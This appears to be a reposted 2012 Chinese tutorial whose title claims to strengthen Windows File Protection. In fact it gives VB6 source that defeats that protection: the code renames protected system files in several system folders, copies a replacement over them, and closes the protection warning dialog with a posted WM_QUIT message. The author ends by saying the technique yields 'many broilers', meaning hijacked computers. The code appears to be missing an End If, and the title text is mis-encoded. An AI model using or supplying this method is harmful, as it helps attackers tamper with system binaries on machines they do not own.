幾招技巧徹底加強(qiáng)Windows文件保護(hù)穩(wěn)定性 |
發(fā)布時(shí)間: 2012/9/5 18:02:41 |
“破壞”思想 還是先說思想,有了思想萬事都好辦。注意“攻略”一文中對(duì)話框的標(biāo)題,是不是“Windows 文件保護(hù)”啊。我們就從它下手。有兩種方法,一是根據(jù)這個(gè)窗口標(biāo)題查找,找到后將其隱藏,這個(gè)可以通過ShowWindow API和SW_HIDE消息來完成,但是畢竟窗口仍然存在,不是很安全。第二種也同樣是根據(jù)這個(gè)窗口標(biāo)題查找,找到后不是將其隱藏,而是通過發(fā)送系統(tǒng)消息直接關(guān)閉。下面我將以一個(gè)完整的替換文件、關(guān)閉對(duì)話框的例子來講解。這里選擇第二種方法。 界面設(shè)計(jì) 好了,還是先給出各控件布局,及對(duì)應(yīng)屬性。 初始化 程序開始首當(dāng)其沖的當(dāng)然是初始化了。在這里要聲明需要使用的API、常數(shù)及變量,并獲取Windows目錄的完整路徑。 '獲取WINDOWS安裝所在目錄的API Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long '查找窗口句柄的API Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long '根據(jù)句柄關(guān)閉指定窗口的API Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long '關(guān)閉窗口的常數(shù) Private Const WM_QUIT = &H12 '存放Windows目錄的變量 Dim WindowsDirectory As String Private Sub Form_Load() '存放獲取的Windows目錄的字符串緩沖區(qū) Dim Path As String '設(shè)置緩沖區(qū)內(nèi)容,以便分解Windows目錄的完整路徑 '獲取Windows目錄的路徑,存放進(jìn)緩沖區(qū) Call GetWindowsDirectory(Path, 255) '分解Windows目錄的完整路徑 WindowsDirectory = Mid(Path, 1, InStr(1, Path, " ") - 2) '指定被替換文件的完整路徑及文件名 txtSource.Text = WindowsDirectory & "\" & "notepad.exe" '指定替換文件的完整路徑及文件名 txtDestination = WindowsDirectory & "\" & "regedit.exe" End Sub 然后就要開始替換文件的過程了。判斷指定的被替換文件和替換文件是否都存在,存在的話則就根據(jù)復(fù)選框選擇的路徑進(jìn)行替換,這里的思想是將所有的文件都改名了,就沒有辦法恢復(fù)了,然后將替換文件復(fù)制成被替換文件,這樣就避免了直接替換而可能產(chǎn)生意料情況。替換后將定時(shí)器激活,進(jìn)行對(duì)話框查找。 Private Sub cmdDo_Click() '執(zhí)行時(shí)屏蔽所有的操作對(duì)象,防止誤操作,而導(dǎo)致程序崩潰 cmdDo.Enabled = False: txtSource.Enabled = False: txtDestination.Enabled = False '設(shè)置錯(cuò)誤陷阱,因?yàn)橄旅娴某绦蛏婕暗轿募僮?/p> On Error Resume Next '判斷被替換文件和替換文件是否存在 If Dir(txtSource.Text) <> "" And Dir(txtDestination.Text) <> "" Then '存在,定義被替換文件的文件名存放變量 Dim FileName As String '獲取被替換文件的文件名 FileName = Mid(txtSource.Text, InStrRev(txtSource.Text, "\") + 1, Len(txtSource.Text) - InStrRev(txtSource.Text, "\")) '判斷是否選中Dllcache復(fù)選框 If chkDllcache.Value = 1 Then '是則對(duì)Dllcache下的被替換文件改名 Name WindowsDirectory & "\system32\dllcache\" & FileName As WindowsDirectory & "\system32\dllcache\" & FileName & ".bak" End If '判斷是否選中System32復(fù)選框 If chkSystem32.Value = 1 Then '是則對(duì)System32下的被替換文件改名 Name WindowsDirectory & "\system32\" & FileName As WindowsDirectory & "\system32\" & FileName & ".bak" End If '判斷是否選中I386復(fù)選框 If chkI386.Value = 1 Then '是則對(duì)I386下的被替換文件改名 Name WindowsDirectory & "\ServicePackFiles\i386\" & FileName As WindowsDirectory & "\ServicePackFiles\i386\" & FileName & ".bak" End If '判斷是否選中Windows復(fù)選框 If chkWindows.Value = 1 Then '是則對(duì)Windows下的被替換文件改名 Name WindowsDirectory & "\" & FileName As WindowsDirectory & "\" & FileName & ".bak" '將替換文件復(fù)制為被替換文件 FileCopy txtDestination.Text, txtSource.Text '激活定時(shí)器 timCheck.Enabled = True End If End Sub 最后則是不停的監(jiān)視那個(gè)“Windows 文件保護(hù)”的對(duì)話框,一出來就通過PostMessage API向其發(fā)送WM_QUIT系統(tǒng)消息,將其關(guān)閉。這里要注意一點(diǎn),是用PostMessage而不是SendMessage,主要是因?yàn)橄⒉恍枰却,如果用后者,則關(guān)閉不了“攻略”一文中的對(duì)話框。反而會(huì)彈出另一個(gè)對(duì)話框。 Private Sub timCheck_Timer() '設(shè)置錯(cuò)誤陷阱 On Error Resume Next '定義存放"Windows 文件保護(hù)"窗口句柄的變量 Dim hwnd As Long '查找"Windows 文件保護(hù)"窗口,并把對(duì)應(yīng)的句柄存入變量 hwnd = FindWindow(vbNullString, "Windows 文件保護(hù)") '判斷是否找到窗口 If hwnd <> 0 Then '是則關(guān)閉窗口 Call PostMessage(hwnd, WM_QUIT, 0, 0) '給出成功提示 MsgBox "替換成功!", vbInformation '退出程序 End End If End Sub 好了,到這里就可以編譯使用了。 寫在最后 這樣簡(jiǎn)簡(jiǎn)單單幾步就把MS安全強(qiáng)大的WFP給突破了,讓我自己也有點(diǎn)不敢相信,不過這是事實(shí),不得不信啊。一個(gè)“小”洞+一款利器=多多肉雞,相信你絕對(duì)不會(huì)錯(cuò)過的。 本文出自:億恩科技【www.riomediacenter.com】 服務(wù)器租用/服務(wù)器托管中國(guó)五強(qiáng)!虛擬主機(jī)域名注冊(cè)頂級(jí)提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM] |